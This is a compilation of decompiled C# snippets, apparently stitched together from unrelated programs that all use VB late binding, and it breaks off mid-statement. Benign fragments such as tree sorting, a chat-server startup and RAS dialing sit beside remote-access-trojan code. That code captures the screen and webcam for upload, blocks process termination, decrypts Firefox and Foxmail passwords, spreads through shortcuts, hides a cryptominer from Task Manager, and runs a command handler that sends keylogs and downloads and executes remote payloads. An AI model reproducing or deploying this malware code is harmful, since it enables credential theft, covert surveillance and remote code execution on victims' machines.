// Token: 0x06000647 RID: 1607 RVA: 0x00034EBC File Offset: 0x000330BC private void PlayToolStripMenuItem_Click(object sender, EventArgs e) { NewLateBinding.LateCall(MyProject.Computer.Audio, null, "Play", new object[] { Operators.ConcatenateObject(this.folder, this.Lv1.FocusedItem.Text), AudioPlayMode.Background }, null, null, null, true); }
public static string SendRequest(Uri URL, NameValueCollection Data) { IEnumerator enumerator; HttpWebRequest request = (HttpWebRequest)WebRequest.Create(URL); try { enumerator = Data.Keys.GetEnumerator(); while (enumerator.MoveNext()) { IEnumerator enumerator2; object objectValue = RuntimeHelpers.GetObjectValue(enumerator.Current); try { object[] objArray; bool[] flagArray; object[] objArray1 = new object[] { objectValue }; bool[] flagArray1 = new bool[] { true }; if (flagArray[0]) { objectValue = RuntimeHelpers.GetObjectValue(objArray[0]); } enumerator2 = ((IEnumerable)NewLateBinding.LateGet(Data, null, "GetValues", objArray = objArray1, null, null, flagArray = flagArray1)).GetEnumerator(); while (enumerator2.MoveNext()) { string str = Conversions.ToString(enumerator2.Current); object[] objArray2 = new object[] { objectValue, str }; bool[] flagArray2 = new bool[] { true, true }; NewLateBinding.LateCall(request.Headers, null, "Add", objArray = objArray2, null, null, flagArray = flagArray2, true); if (flagArray[0]) { objectValue = RuntimeHelpers.GetObjectValue(objArray[0]); } if (flagArray[1]) { str = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof(string)); } } continue; } finally { if (enumerator2 is IDisposable) { (enumerator2 as IDisposable).Dispose(); } } } } finally { if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } } return(new StreamReader(((HttpWebResponse)request.GetResponse()).GetResponseStream(), Encoding.UTF8).ReadToEnd()); }
// Token: 0x060005E8 RID: 1512 RVA: 0x0003295C File Offset: 0x00030B5C public void lockup() { checked { try { XmlDocument xmlDocument = new XmlDocument(); NewLateBinding.LateCall(xmlDocument, null, "Load", new object[] { Operators.ConcatenateObject("http://freegeoip.net/xml/", this.ip) }, null, null, null, true); XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("Response"); int arg_49_0 = 0; int num = elementsByTagName.Count - 1; int num2 = arg_49_0; while (true) { int arg_2FD_0 = num2; int num3 = num; if (arg_2FD_0 > num3) { break; } elementsByTagName[num2].ChildNodes.Item(0).InnerText.Trim(); this.ListBox1.Items.Clear(); elementsByTagName[num2].ChildNodes.Item(0).InnerText.Trim(); this.cd = elementsByTagName[num2].ChildNodes.Item(1).InnerText.Trim(); this.ListBox1.Items.Add("IP Address : " + elementsByTagName[num2].ChildNodes.Item(0).InnerText.Trim()); this.ListBox1.Items.Add("Country Code : " + elementsByTagName[num2].ChildNodes.Item(1).InnerText.Trim()); this.ListBox1.Items.Add("Name : " + elementsByTagName[num2].ChildNodes.Item(2).InnerText.Trim()); this.ListBox1.Items.Add("Region Code : " + elementsByTagName[num2].ChildNodes.Item(3).InnerText.Trim()); this.ListBox1.Items.Add("Region Name : " + elementsByTagName[num2].ChildNodes.Item(4).InnerText.Trim()); this.ListBox1.Items.Add("City : " + elementsByTagName[num2].ChildNodes.Item(5).InnerText.Trim()); this.ListBox1.Items.Add("Zip Code : " + elementsByTagName[num2].ChildNodes.Item(6).InnerText.Trim()); this.ListBox1.Items.Add("Latitude : " + elementsByTagName[num2].ChildNodes.Item(7).InnerText.Trim()); this.ListBox1.Items.Add("Longitude : " + elementsByTagName[num2].ChildNodes.Item(8).InnerText.Trim()); this.ListBox1.Items.Add("Metro Code : " + elementsByTagName[num2].ChildNodes.Item(9).InnerText.Trim()); num2++; } } catch (Exception expr_304) { ProjectData.SetProjectError(expr_304); ProjectData.ClearProjectError(); } try { this.PictureBox1.Load(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject("https://chart.googleapis.com/chart?chf=bg,s,000000&chs=420x220&cht=t&chco=00000030&chld=", this.cd), "&chtm=world"))); } catch (Exception expr_33F) { ProjectData.SetProjectError(expr_33F); ProjectData.ClearProjectError(); } } }
public void Remove(ref object vntIndexKey) { object[] arguments = new object[] { vntIndexKey }; bool[] copyBack = new bool[] { true }; NewLateBinding.LateCall(this.mCol, null, "Remove", arguments, null, null, copyBack, true); if (copyBack[0]) { vntIndexKey = arguments[0]; } }
// Token: 0x060000C3 RID: 195 RVA: 0x001DF870 File Offset: 0x001DDC70 private void ComboBox2_SelectedIndexChanged(object sender, EventArgs e) { bool flag = Operators.CompareString(this.Button1.Text, "Parar", false) == 0; if (flag) { NewLateBinding.LateCall(this.sk, null, "Send", new object[] { RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject("!" + Class7.string_1 + Conversions.ToString(this.ComboBox1.SelectedIndex) + Class7.string_1, RuntimeHelpers.GetObjectValue(this.ComboBox2.SelectedItem))) }, null, null, null, true); } }
/// <summary> /// Sorts the tree. /// </summary> /// <param name="ctree">The ctree.</param> /// <param name="so">The so.</param> public void SortTree(TreeView ctree, SortOrder so) { object[] objectValue; try { TreeView treeView = new TreeView(); string[] text = new string[checked (checked (ctree.GetNodeCount(false) - 1) + 1)]; int i = 0; int j = 0; int length = checked (checked ((int)text.Length) - 1); for (i = 0; i <= length; i++) { text[i] = ctree.Nodes[i].Text; TreeNodeCollection nodes = treeView.Nodes; objectValue = new object[] { RuntimeHelpers.GetObjectValue(ctree.Nodes[i].Clone()) }; NewLateBinding.LateCall(nodes, null, "Add", objectValue, null, null, null, true); } if (so != SortOrder.Ascending) { Array.Reverse(text); } else { Array.Sort <string>(text); } for (i = checked (ctree.GetNodeCount(false) - 1); i >= 0; i = checked (i + -1)) { ctree.Nodes[i].Remove(); } int num = checked (checked ((int)text.Length) - 1); for (j = 0; j <= num; j++) { int nodeCount = checked (treeView.GetNodeCount(false) - 1); for (i = 0; i <= nodeCount; i++) { if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(text[j].Trim(), treeView.Nodes[i].Text, false) == 0) { TreeNodeCollection treeNodeCollections = ctree.Nodes; objectValue = new object[] { RuntimeHelpers.GetObjectValue(treeView.Nodes[i].Clone()) }; NewLateBinding.LateCall(treeNodeCollections, null, "Add", objectValue, null, null, null, true); } } } } catch (Exception exception) { ProjectData.SetProjectError(exception); ProjectData.ClearProjectError(); } }
// Token: 0x06000015 RID: 21 RVA: 0x000024D8 File Offset: 0x000014D8 public static void ŇźƉŽƃƉƌ() { object instance = new Mutex(false, "da4f21d00b1992e0b25f463b722dcc6aafdec7005cc9f14302cd0474fd0f3c96cfcd208495d565ef66e7dff9f98764da"); if (Conversions.ToBoolean(Operators.NotObject(NewLateBinding.LateGet(instance, null, "WaitOne", new object[] { 0, false }, null, null, null)))) { NewLateBinding.LateCall(instance, null, "Close", new object[0], null, null, null, true); ProjectData.EndApp(); } }
// Token: 0x06000076 RID: 118 RVA: 0x00009228 File Offset: 0x00007428 public static void sc(object interval) { for (;;) { try { RemoteDesktop.g = Graphics.FromImage(RemoteDesktop.screenGrab); Graphics graphics = RemoteDesktop.g; Point point = new Point(0, 0); Point upperLeftSource = point; Point upperLeftDestination = new Point(0, 0); graphics.CopyFromScreen(upperLeftSource, upperLeftDestination, RemoteDesktop.screenSize); RemoteDesktop.resize = new Bitmap(RemoteDesktop.screenGrab, (int)Math.Round((double)RemoteDesktop.screenGrab.Width / 1.3), (int)Math.Round((double)RemoteDesktop.screenGrab.Height / 1.3)); RemoteDesktop.resize.SetResolution(222f, 222f); ImageCodecInfo encoder = RemoteDesktop.get_Codec("image/jpeg"); EncoderParameters encoderParameters = new EncoderParameters(1); encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, 35L); MemoryStream stream = new MemoryStream(); RemoteDesktop.resize.Save(stream, encoder, encoderParameters); RemoteDesktop.tojpg = (Bitmap)Image.FromStream(stream); Functions.uploadserialized(Server.nstream, RemoteDesktop.tojpg); object instance = null; Type typeFromHandle = typeof(Thread); string memberName = "Sleep"; object[] array = new object[] { RuntimeHelpers.GetObjectValue(interval) }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, typeFromHandle, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { interval = RuntimeHelpers.GetObjectValue(array[0]); } RemoteDesktop.resize.Dispose(); RemoteDesktop.tojpg.Dispose(); } catch (Exception ex) { } } }
private void method_2(object sender, ColumnClickEventArgs e) { ColumnHeader columnHeader = (ColumnHeader)NewLateBinding.LateGet(sender, null, "Columns", new object[] { e.Column }, null, null, null); SortOrder sortOrder; if (this.columnHeader_3 == null) { sortOrder = SortOrder.Ascending; } else { if (columnHeader.Equals(this.columnHeader_3)) { if (this.columnHeader_3.Text.EndsWith(" ▲")) { sortOrder = SortOrder.Descending; } else { sortOrder = SortOrder.Ascending; } } else { sortOrder = SortOrder.Ascending; } this.columnHeader_3.Text = this.columnHeader_3.Text.Substring(0, checked (this.columnHeader_3.Text.Length - 3)); } this.columnHeader_3 = columnHeader; if (sortOrder == SortOrder.Ascending) { ColumnHeader columnHeader2 = this.columnHeader_3; columnHeader2.Text += " ▲"; } else { ColumnHeader columnHeader2 = this.columnHeader_3; columnHeader2.Text += " ▼"; } NewLateBinding.LateSet(sender, null, "ListViewItemSorter", new object[] { new clsListviewSorter(e.Column, sortOrder) }, null, null); NewLateBinding.LateCall(sender, null, "Sort", new object[0], null, null, null, true); }
// Token: 0x060000AB RID: 171 RVA: 0x0000C1A0 File Offset: 0x0000A3A0 public static void EnableProtection() { try { IntPtr currentProcess = AntiKill.GetCurrentProcess(); object processSecurityDescriptor = AntiKill.GetProcessSecurityDescriptor(currentProcess); NewLateBinding.LateCall(NewLateBinding.LateGet(processSecurityDescriptor, null, "DiscretionaryAcl", new object[0], null, null, null), null, "InsertAce", new object[] { 0, new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 2035711, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null) }, null, null, null, true); AntiKill.SetProcessSecurityDescriptor(currentProcess, (RawSecurityDescriptor)processSecurityDescriptor); } catch (Exception ex) { } }
public static object mozDecryptString(string str) { object obj2; try { StringBuilder inStr = new StringBuilder(str); int num = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length); TSECItem result = new TSECItem(); IntPtr ptr = new IntPtr(num); TSECItem data = (TSECItem)Marshal.PtrToStructure(ptr, typeof(TSECItem)); if ((PK11SDR_Decrypt(ref data, ref result, 0) == 0) && (result.SECItemLen != 0)) { object objectValue = new byte[(result.SECItemLen - 1) + 1]; object[] objArray = new object[4]; ptr = new IntPtr(result.SECItemData); objArray[0] = ptr; objArray[1] = RuntimeHelpers.GetObjectValue(objectValue); objArray[2] = 0; objArray[3] = result.SECItemLen; object[] arguments = objArray; bool[] copyBack = new bool[] { false, true, false, true }; NewLateBinding.LateCall(null, typeof(Marshal), "Copy", arguments, null, null, copyBack, true); if (copyBack[1]) { objectValue = RuntimeHelpers.GetObjectValue(arguments[1]); } if (copyBack[3]) { result.SECItemLen = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments[3]), typeof(int)); } return(Encoding.UTF8.GetString((byte[])objectValue)); } obj2 = string.Empty; } catch (Exception exception1) { ProjectData.SetProjectError(exception1); obj2 = "No Data!"; ProjectData.ClearProjectError(); } return(obj2); }
// Token: 0x0600007A RID: 122 RVA: 0x000094F4 File Offset: 0x000076F4 public static void returnImg(object interval) { for (;;) { try { Webcam.snapshot = (Bitmap)Webcam.t.GetMethod("ReturnCamImage").Invoke(Webcam.t, null); Webcam.snapshot.SetResolution(212f, 212f); ImageCodecInfo encoder = RemoteDesktop.get_Codec("image/jpeg"); EncoderParameters encoderParameters = new EncoderParameters(1); encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, 35L); MemoryStream stream = new MemoryStream(); Webcam.snapshot.Save(stream, encoder, encoderParameters); Webcam.tojpg = (Bitmap)Image.FromStream(stream); Functions.uploadserialized(Server.nstream, Webcam.tojpg); object instance = null; Type typeFromHandle = typeof(Thread); string memberName = "Sleep"; object[] array = new object[] { RuntimeHelpers.GetObjectValue(interval) }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, typeFromHandle, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { interval = RuntimeHelpers.GetObjectValue(array[0]); } Webcam.snapshot.Dispose(); Webcam.tojpg.Dispose(); GC.Collect(); } catch (Exception ex) { } } }
public void LoadBanedIP(ref object banips) { MySqlConnection connection = DAO.GetConnection(); try { connection.Open(); string cmdText = "SELECT * FROM banned_ip"; MySqlDataReader mySqlDataReader = new MySqlCommand(cmdText, connection).ExecuteReader(); while (mySqlDataReader.Read()) { string @string = mySqlDataReader.GetString("mask"); DateTime dateTime = mySqlDataReader.GetDateTime("time_end"); object[] array; bool[] array2; NewLateBinding.LateCall(banips, null, "Add", array = new object[2] { @string, new BannedIP(@string, dateTime) }, null, null, array2 = new bool[2] { true, false }, IgnoreReturn: true); if (array2[0]) { @string = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string)); } } mySqlDataReader.Close(); } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception ex2 = ex; log.Error((object)ex2); ProjectData.ClearProjectError(); } finally { connection.Close(); } }
private static void CreateShortCut(string targetName, string shortCutPath, string shortCutName, string icon) { try { Spread.objShell = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")); Spread.objLink = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Spread.objShell, null, "CreateShortcut", new object[] { shortCutPath + "\\" + shortCutName + ".lnk" }, null, null, null)); NewLateBinding.LateSet(Spread.objLink, null, "TargetPath", new object[] { shortCutPath + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "WindowStyle", new object[] { 1 }, null, null); if (icon == null) { NewLateBinding.LateSet(Spread.objLink, null, "Arguments", new object[] { " " + shortCutPath + "\\" + targetName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "IconLocation", new object[] { "%SystemRoot%\\system32\\SHELL32.dll,3" }, null, null); } else { NewLateBinding.LateSet(Spread.objLink, null, "Arguments", new object[] { " " + shortCutPath + "\\" + targetName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "IconLocation", new object[] { icon }, null, null); } NewLateBinding.LateCall(Spread.objLink, null, "Save", new object[0], null, null, null, true); } catch {} }
protected override void OnPaint(PaintEventArgs e) { Bitmap bitmap = new Bitmap(this.Width, this.Height); Graphics graphics = Graphics.FromImage(bitmap); Brush brush = new SolidBrush(Color.FromArgb(35, 35, 35)); Brush brush2 = new SolidBrush(Color.FromArgb(63, 63, 63)); graphics.Clear(Color.FromArgb(43, 43, 43)); int arg_57_0 = 0; checked { int num = this.TabCount - 1; for (int i = arg_57_0; i <= num; i++) { Rectangle tabRect = this.GetTabRect(i); if (i == this.SelectedIndex) { graphics.FillRectangle(brush, tabRect); } else { graphics.FillRectangle(brush2, tabRect); } graphics.DrawString(this.TabPages[i].Text, this.Font, Brushes.White, tabRect, new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center }); } NewLateBinding.LateCall(e.Graphics, null, "DrawImage", new object[] { RuntimeHelpers.GetObjectValue(bitmap.Clone()), 0, 0 }, null, null, null, true); e.Dispose(); bitmap.Dispose(); base.OnPaint(e); } }
internal void FriendSetVariable(string vstrName, object vvarValue) { InternCheckOpened("FriendSetVariable"); object value = mobjAcadSysVars.FriendGetItem(Strings.UCase(vstrName)).Value; object[] obj = new object[1] { vvarValue }; object[] array = obj; bool[] obj2 = new bool[1] { true }; bool[] array2 = obj2; NewLateBinding.LateCall(value, null, "FriendSetValueSilent", obj, null, null, obj2, IgnoreReturn: true); if (array2[0]) { vvarValue = RuntimeHelpers.GetObjectValue(array[0]); } }
// Token: 0x0600008E RID: 142 RVA: 0x00009018 File Offset: 0x00007218 public static void MinerThreader() { if (Miner.RanMiner) { try { if (Process.GetProcessesByName("taskmgr").Length >= 1) { try { foreach (object obj in ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[] { "Select Name from Win32_Process Where Name = '" + Miner.MinerExecutable + ".exe'" }, null, null, null))) { object objectValue = RuntimeHelpers.GetObjectValue(obj); NewLateBinding.LateCall(objectValue, null, "Terminate", new object[0], null, null, null, true); } return; } finally { IEnumerator enumerator; if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } } } if (Process.GetProcessesByName(Miner.MinerExecutable).Length < 1) { Miner.RanMiner = false; Miner.BeginMiner(); } } catch (Exception ex) { } } }
public static void Main() { try { log4net.Config.XmlConfigurator.Configure(new System.IO.FileInfo("log4net.config")); System.Text.Encoding.RegisterProvider(System.Text.CodePagesEncodingProvider.Instance); AppDomain.CurrentDomain.UnhandledException += UnhandledException; Console.Title = title; Util.SystemInfo(); Stopwatch stopwatch = Stopwatch.StartNew(); CronService.GetInstance().Initialize(); Util.Section("核心配置"); Configs.LoadConfig(); Util.Section("数据连接"); DAOManager.Initialize(); Util.Section("注册服务"); GameService.Load(); Util.Section("网络服务"); NewLateBinding.LateCall(SlbService.GetInstance(), null, "Start", new object[0], null, null, null, IgnoreReturn: true); ChatPacketFactory.GetInstance(); AionListener.GetInstance().Start(); GamePacketFactory.GetInstance(); GameListener.GetInstance().Start(); Util.Section(""); stopwatch.Stop(); string text = string.Format("聊天服务器启动完成,耗时{0}秒!", ((double)stopwatch.ElapsedMilliseconds / 1000.0).ToString("0.00")); Console.WriteLine(new string(' ', Conversions.ToInteger(Util.StringLength(text))) + text); Util.Section(""); if (ChatConfig.WORKING_MEMORY_SET_ENABLE) { WorkingMemorySet.GetInstance().Initialize(ChatConfig.WORKING_MEMORY_SET_CRON); } } catch (Exception err) { log.Error(err.Message, err); } }
public static void UninstallSoftwareByName(string name) { try { string str2 = @"Software\Microsoft\Windows\CurrentVersion\Uninstall"; RegistryKey key = MyProject.Computer.Registry.LocalMachine.OpenSubKey(str2); foreach (string str4 in key.GetSubKeyNames()) { RegistryKey key2 = key.OpenSubKey(str4); if (Conversions.ToString(key2.GetValue("DisplayName", "")) == name) { NewLateBinding.LateCall(null, typeof(Process), "Start", new object[] { RuntimeHelpers.GetObjectValue(key2.GetValue("UninstallString", "")) }, null, null, null, true); return; } } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } }
// Token: 0x060000E0 RID: 224 RVA: 0x000107CC File Offset: 0x0000E9CC public static bool filter(IntPtr hWnd, int lParam) { StringBuilder stringBuilder = new StringBuilder(255); IntPtr hWnd2 = hWnd; int msg = 13; int countOfChars = stringBuilder.Capacity + 1; StringBuilder text = stringBuilder; BrowserVNC.SendMessageTimeoutFlags flags = BrowserVNC.SendMessageTimeoutFlags.SMTO_ABORTIFHUNG; uint uTImeoutj = 1000u; IntPtr zero = IntPtr.Zero; int num = (int)BrowserVNC.SendMessageTimeoutText(hWnd2, msg, countOfChars, text, flags, uTImeoutj, out zero); string text2 = stringBuilder.ToString(); if (BrowserVNC.IsWindowVisible(hWnd) && !string.IsNullOrEmpty(text2)) { object instance = BrowserVNC.collection2; Type type = null; string memberName = "Add"; object[] array = new object[] { hWnd }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { hWnd = (IntPtr)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(IntPtr)); } BrowserVNC.collection.Add(text2); } return(true); }
public void method_7(bool bool_0, object object_0) { object[] objArr2; if (Conversions.ToBoolean(NewLateBinding.LateGet(object_0, null, "InvokeRequired", new object[0], null, null, null))) { object[] objArr1 = new object[] { new QuestForm.GDelegate6(method_7), bool_0, RuntimeHelpers.GetObjectValue(object_0) }; objArr2 = objArr1; bool[] flagArr = new bool[] { false, true, true }; NewLateBinding.LateCall(object_0, null, "Invoke", objArr2, null, null, flagArr, true); if (flagArr[1]) bool_0 = (bool)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArr2[1]), typeof(bool)); if (!flagArr[2]) return; object_0 = RuntimeHelpers.GetObjectValue(objArr2[2]); return; } objArr2 = new object[] { bool_0 }; NewLateBinding.LateSet(object_0, null, "enabled", objArr2, null, null); }
public void method_8(string string_1, object object_0) { object[] objArr2; if (Conversions.ToBoolean(NewLateBinding.LateGet(object_0, null, "InvokeRequired", new object[0], null, null, null))) { object[] objArr1 = new object[] { new QuestForm.GDelegate7(method_8), string_1, RuntimeHelpers.GetObjectValue(object_0) }; objArr2 = objArr1; bool[] flagArr = new bool[] { false, true, true }; NewLateBinding.LateCall(object_0, null, "Invoke", objArr2, null, null, flagArr, true); if (flagArr[1]) string_1 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArr2[1]), typeof(string)); if (!flagArr[2]) return; object_0 = RuntimeHelpers.GetObjectValue(objArr2[2]); return; } objArr2 = new object[] { string_1 }; NewLateBinding.LateSet(object_0, null, "Text", objArr2, null, null); }
private void send_ConnectionStatus(int StatusNumber, string Message) { if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false)) { NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2] { (object)new RasDialUC.d_ConnectionStatus(this.send_ConnectionStatus), (object)new object[2] { (object)StatusNumber, (object)Message } }, (string[])null, (Type[])null, (bool[])null, true); } else { RasDialUC.ConnectionStatusEventHandler connectionStatusEvent = this.ConnectionStatusEvent; if (connectionStatusEvent == null) { return; } connectionStatusEvent(StatusNumber, Message); } }
private void send_ErrorRAS(int ErrNumber, string Message) { if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false)) { NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2] { (object)new RasDialUC.d_ErrorRAS(this.send_ErrorRAS), (object)new object[2] { (object)ErrNumber, (object)Message } }, (string[])null, (Type[])null, (bool[])null, true); } else { if (!Information.IsNothing((object)this.tmrMonitorDisconnect)) { this.tmrMonitorDisconnect.Stop(); this.tmrMonitorDisconnect.Elapsed -= new ElapsedEventHandler(this.tmrMonitorDisconnect_Elapsed); this.tmrMonitorDisconnect = (Timer)null; } if (!Information.IsNothing((object)this.tmrMonitorConnected)) { this.tmrMonitorConnected.Stop(); this.tmrMonitorConnected.Elapsed -= new ElapsedEventHandler(this.tmrMonitorConnected_Elapsed); this.tmrMonitorConnected = (Timer)null; } RasDialUC.ErrorRASEventHandler errorRasEvent = this.ErrorRASEvent; if (errorRasEvent == null) { return; } errorRasEvent(ErrNumber, Message); } }
void DoCommand(string com) { Console.WriteLine(com); NewLateBinding.LateCall(_PSApplication, (Type)null, "Exec", new object[] { com }, (string[])null, (Type[])null, new bool[] { true }, true); }
// Token: 0x060000B1 RID: 177 RVA: 0x0000C48C File Offset: 0x0000A68C public static object GetFoxmail() { string text = string.Empty; object result; try { object obj = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command").GetValue("").ToString(); object instance = obj; Type type = null; string memberName = "Remove"; object[] array = new object[1]; object[] array2 = array; int num = 0; object obj2 = obj; object instance2 = obj2; Type type2 = null; string memberName2 = "LastIndexOf"; object[] array3 = new object[1]; object[] array4 = array3; int num2 = 0; string text2 = "Foxmail.exe"; array4[num2] = text2; array2[num] = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance2, type2, memberName2, array3, null, null, null)); object[] array5 = array; object[] arguments = array5; string[] argumentNames = null; Type[] typeArguments = null; bool[] array6 = new bool[] { true }; object instance3 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array6); if (array6[0]) { NewLateBinding.LateSetComplex(obj2, null, "LastIndexOf", new object[] { text2, RuntimeHelpers.GetObjectValue(array5[0]) }, null, null, true, false); } obj = Operators.ConcatenateObject(NewLateBinding.LateGet(instance3, null, "Replace", new object[] { "\"", "" }, null, null, null), "Storage\\"); foreach (string text3 in Directory.GetDirectories(Conversions.ToString(obj), "*@*", SearchOption.TopDirectoryOnly)) { try { string str = text3.Substring(text3.LastIndexOf("\\") + 1); string path = text3 + "\\Accounts\\Account.rec0"; object obj3 = new FileStream(path, FileMode.Open); object obj4 = Conversions.ToInteger(NewLateBinding.LateGet(obj3, null, "Length", new object[0], null, null, null)); object obj5 = new byte[Conversions.ToInteger(Operators.SubtractObject(obj4, 1)) + 1]; bool flag = false; string text4 = ""; object instance4 = obj3; Type type3 = null; string memberName3 = "Read"; object[] array7 = new object[] { RuntimeHelpers.GetObjectValue(obj5), 0, RuntimeHelpers.GetObjectValue(obj4) }; object[] arguments2 = array7; string[] argumentNames2 = null; Type[] typeArguments2 = null; array6 = new bool[] { true, false, true }; NewLateBinding.LateCall(instance4, type3, memberName3, arguments2, argumentNames2, typeArguments2, array6, true); if (array6[0]) { obj5 = RuntimeHelpers.GetObjectValue(array7[0]); } if (array6[2]) { obj4 = RuntimeHelpers.GetObjectValue(array7[2]); } int num3; if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(obj5, new object[] { 0 }, null), 208, false)) { num3 = 0; } else { num3 = 1; } int num4 = 0; int num5 = Conversions.ToInteger(Operators.SubtractObject(obj4, 1)); for (int j = num4; j <= num5; j++) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 127, false) && Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 61, false)) { text4 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null)))); string str2 = ""; if (text4.Equals("Account") || text4.Equals("POP3Account")) { int num6 = j + 9; if (num3 == 0) { num6 = j + 2; } while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 127, false)) { str2 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null)))); num6++; } flag = true; j = num6; } else if (flag && (text4.Equals("Password") || text4.Equals("POP3Password"))) { int num7 = j + 9; if (num3 == 0) { num7 = j + 2; } string text5 = ""; while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 127, false)) { text5 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null)))); num7++; } if (Operators.CompareString(text, string.Empty, false) == 0) { text += "Foxmail:\r\n"; } text = text + "User:"******"\r\n"; text = text + "Pass:"******"\r\n\r\n"; break; } } else { text4 = ""; } } NewLateBinding.LateCall(obj3, null, "Close", new object[0], null, null, null, true); } catch (Exception ex) { } } if (Operators.CompareString(text, string.Empty, false) != 0) { text += "\r\n"; } result = text; } catch (Exception ex2) { } return(result); }
public static void HandleData(byte[] b) { string[] array = Strings.Split(BytesToString(ref b), splitter, -1, CompareMethod.Binary); checked { try { string left = array[0]; if (Operators.CompareString(left, "ll", false) == 0) { isConnected = false; } else if (Operators.CompareString(left, "kl", false) == 0) { Send("kl" + splitter + StringToBase64(ref keylogger.Logs)); } else if (Operators.CompareString(left, "prof", false) == 0) { string left2 = array[1]; if (Operators.CompareString(left2, "~", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); } else if (Operators.CompareString(left2, "!", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + splitter + array[1] + splitter, GetValueFromRegistry(array[1], "")))); } else if (Operators.CompareString(left2, "@", false) == 0) { DeleteValueFromRegistry(array[2]); } } else { if (Operators.CompareString(left, "rn", false) == 0) { byte[] bytes; if (array[2][0] == '\u001f') { try { MemoryStream memoryStream = new MemoryStream(); int length = (array[0] + splitter + array[1] + splitter).Length; memoryStream.Write(b, length, b.Length - length); bytes = DecompressGzip(memoryStream.ToArray()); goto IL_20B; } catch { Send("MSG" + splitter + "Execute ERROR"); Send("bla"); return; } } WebClient webClient = new WebClient(); try { bytes = webClient.DownloadData(array[2]); } catch { Send("MSG" + splitter + "Download ERROR"); Send("bla"); return; } IL_20B: Send("bla"); string text = Path.GetTempFileName() + "." + array[1]; try { File.WriteAllBytes(text, bytes); Process.Start(text); Send("MSG" + splitter + "Executed As " + new FileInfo(text).Name); return; } catch (Exception ex) { Send("MSG" + splitter + "Execute ERROR " + ex.Message); ProjectData.ClearProjectError(); return; } } if (Operators.CompareString(left, "inv", false) == 0) { byte[] array2 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[3].Length < 10 & array2.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[3].Length > 10) { MemoryStream memoryStream2 = new MemoryStream(); int length2 = string.Concat(new string[] { array[0], splitter, array[1], splitter, array[2], splitter }).Length; memoryStream2.Write(b, length2, b.Length - length2); array2 = 